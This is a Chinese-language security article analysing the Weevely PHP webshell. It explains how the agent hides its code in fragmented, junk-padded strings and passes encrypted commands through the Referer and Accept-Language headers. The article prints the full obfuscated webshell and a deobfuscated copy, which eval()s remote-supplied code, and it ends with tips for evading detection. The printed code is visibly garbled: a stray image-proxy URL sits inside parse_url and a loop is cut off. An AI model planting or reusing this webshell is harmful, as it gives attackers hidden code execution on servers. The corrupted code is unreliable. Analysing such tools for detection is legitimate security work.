Weevely命令傳輸分析
前言
Weevely是一款使用python編寫的webshell工具,集webshell生成和連接於一身,可以算作是linux下的一款菜刀替代工具(限於php)。Weevely類似於菜刀,一個厚客戶端,與一個輕服務端,由客戶端生成要執行的代碼,傳遞到服務端執行。與菜刀不同的是Weevely只提供命令行終端,同時自己生成服務端文件。文件的混淆與執行代碼的傳遞更複雜於菜刀。下面將對這兩方面進行分析。
混淆與解碼
$A="@.low@.@.er"@.@.@.;$i=$m[1][0@.].$m[1][1]@.;$h=$sl($s@.s(md5(@.@.$i.$kh),0,3));$f=@.$sl@.($ss(md@.5($i.$kf),0@.,";
$j="@.3));$p@.="";for($@.z=1;$z@.
$U="([\d]))?@.,?/@.",@.$ra@.,$m);if($@.q&&$m){@.@s@.ession_start(@.);$s=&$@._SESSI@.ON;$ss=@."substr@.";$s@.l="strto";
$Z="$@.kh@.="2123";$kf="2@.f29"@.;function@. x($t,$k)@.{$c=@.@.strlen($@.@.k);$l=st@.rlen(@.$t);$o="";for($@.i=0;$i@.";
$p="@.r@.r=@$r["HTT@.P_REFERE@.R"];$ra=@$r@.["HTTP_@.@.ACCEPT_LANGUA@.GE"];@.if@.($rr&&$ra@.@.){$u=parse@._url(http://img.ifuun.com/getimg.php?url=@.@.";
$o="@.]@.="";$@.p=$s@.s($@.p,3);}i@.f@.(array@._key_e@.@.xists($i@.,$s)){$s[$i].=$p;$e=strpo@.s($s[$i@.]@.,$f);if($@";
$g="_/"@.,"@./-/"),array@.("/@.","+@."),$ss@.($s@.[$i],0,$e))),$k)))@.;@.$o=ob_@.g@.et_contents@.();ob@._end@._clean";
$V="();@.@.$d=base6@.4@._encode(x(gzcompr@.@.es@.s($o),$k));print("@.<$k>$d<@./$k>"@.);@@.session_d@.est@.roy();}}}}";
$n="@.$rr);par@.s@.e_str($u["query"],@.$q);$q=array_va@.lues($@.q);@.preg@._match_all@.("/([\w@.@.])[\w-@.]+(?:;q=0@..";
$q="<$l;){fo@.r($j=0;(@.$j<@.$c&&$i@.<$l);@.@.$j++,$i++@.){$o.=$t{$@.i}^@.$k{$j@.};}}r@.eturn $o;}$r=$@._@.@.SERVER;$";
$X=str_replace("UL","","cULreaULte_ULfULunULctULion");
$u=".e)@.{$k=$kh.@.$kf;ob@._s@.tart();@ev@.al(@gzu@.ncompres@.s(@x(@@.base@.64_dec@.ode@.(pre@.g@._replace(arra@.y("/";
$R=str_replace("@.","",$Z.$q.$p.$n.$U.$A.$j.$o.$u.$g.$V);
$c=$X("",$R);$c();
?>
Weevely將服務端代碼分散放入單字元的變數中,同時夾雜著大量無用字元(@. ,隨機字元)以繞過一些關鍵詞的匹配。將分散的代碼按順序拼接,再使用
str_replace
去掉無用字元,最後由create_function
創建匿名函數,執行。
$kh="2123"; //MD5(admin) > 21232f297a57a5a743894a0e4a801fc3
$kf="2f29";
function x($t,$k)
{
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;)
{
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra)
{
$u=parse_url(http://img.ifuun.com/getimg.php?url=$rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m)
{
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z
$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0)
{
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s))
{
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e)
{
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d$k>");
@session_destroy();
}
}
}
}
?>
代碼傳遞
不同於菜刀,Weevely單次的命令會發送多個HTTP請求,將要執行的代碼進行分散傳遞。下面將結合Weevely Agent源碼與數據包報文進行代碼傳遞分析。Weevely將Agent的密碼進行MD5加密,取md5值的前4位存儲到變數
$kh
中,取前4至8位存儲到變數$kf
中,用於後續的異或運算及標識字元生成。Weevely主要通過HTTP請求報文的Accept-Language,Referer欄位分散傳遞加密後的執行代碼,存儲到PHP全局變數$_SESSION中。傳輸完成後,取出存儲的字元串進行一些字元替換,再進行base64解碼,再與Agent密碼的MD5值的前幾位進行異或運算,最後進行解壓帶入到eval
中執行。返回執行結果,最後銷毀當前會話,等待下一次的代碼傳遞。使用
parse_url
,array_values
將Referer欄位中URL的參數值作為數組,正則匹配(/([w])[w-]+(?:;q=0.([d]))?,?/)Accept-Language欄位,取出yn作為$_SESSION name,q=0.4的4保存到新數組中。由該數組的值控制,取出URL參數數組的值(Referer[4] >ed9Sq0_-XNsshkiMfKcRiwJvecEuk0gDRw
)存儲到$p
。$_SESSION[『yn』』] >
Sq0_-XNsshkiMfKcRiwJvecEuk0gDRw
取$_SESSION name(yn)與Agent密碼md5值的前4位字元($kh
)拼接做md5運算,取前3位作為頭部標識符(ed9), $_SESSION name(yn)與Agent密碼md5值的前4至8位字元($kf
)拼接做md5運算,取前3位作為尾部標識符(d21)。判斷$p
是否含有頭部標識符,去掉頭部標識符存儲到name 為yn的$_SESSION中。若沒有出現尾部標識符,返回此次會話SID,繼續等待下一次數據傳遞。下次發送HTTP請求將帶上上次返回PHPSESSID,進行同樣的數據處理。$_SESSION[『yn』』] >
Sq0_-XNsshkiMfKcRiwJvecEuk0gDRwQq_ucGs9Ynfqu5wqhcKM4pUY0V3m393lpJP8ph3WTFCbzgSrlL-8QJLYYYEX
$_SESSION[『yn』』] >
Sq0_-XNsshkiMfKcRiwJvecEuk0gDRwQq_ucGs9Ynfqu5wqhcKM4pUY0V3m393lpJP8ph3WTFCbzgSrlL-8QJLYYYEXT9GEKzAnRELeBXODIiIcsKRsvewd21
若出現結尾標識符,去掉結尾標識符及後面字元,將_替換為/,-替換為+變為base64編碼格式,進行base64編碼解碼,再進行異或運算,最後解壓帶入eval
中執行,返回執行結果,銷毀當前會話。總結
這種多連接,分散傳輸的方式能有效避開安全防護設備的檢測。目前大部分的安全設備基本上都是基於單個連接去識別檢測,在上下文聯繫能力欠缺。針對Weevely默認代碼,可對HTTP Accept-Language欄位進行檢測,識別Weevely連接。但很容易通過修改源碼進行繞過,將控制數組放置到其他HTTP欄位中。例如,User-Agent欄位:系統版本、瀏覽器版本;Cookie欄位模擬正常的訪問數據。
Github:
https://github.com/epinna/weevely3
*本文原創作者:codingm3,屬Freebuf原創獎勵計劃,未經許可禁止轉載
※震驚
※新型智能電視攻擊,90%電視設備受影響!?
※企業安全工作落地的一些經驗 | 我的淚、你不懂
※Vault 7泄露第三彈:CIA在惡意程序源碼中插入外語,嫁禍中國、俄羅斯等國
※《殺手》第二章:黑夜來臨 | 原創連載小說
TAG:FreeBuf |
※RPM命令的——nodeps 和——force參數解釋
※adb devices命令 unauthorized解決方案
※Centos7默認firewalld防火牆使用命令
※Chrome DevTools命令菜單運行命令
※Linux cgroups 命令簡介
※oracle-常用linux命令分享
※linux-shell命令處理json數據
※Win 10曝出bug:sfc/scannow命令無法工作,或與Windows Defender有關
※windows cmd命令彙編
※如何使用 chkconfig 和 systemctl 命令啟用或禁用 Linux 服務
※關於如何使用webpack命令行傳入變數,並通過process.env來調用
※Elasticsearch的DSL操作命令大全
※如何在Linux上使用Pbcopy和Pbpaste命令
※如何優雅地實現Redis命令setbits與getbits
※Linux 常用基本命令 cal date
※Linux useradd 命令基本用法
※使用proxychains-ng代理轉發終端命令
※kali基礎 find命令
※Linux 常用基本命令 cat grep
※Linux vmstat命令實際操作介紹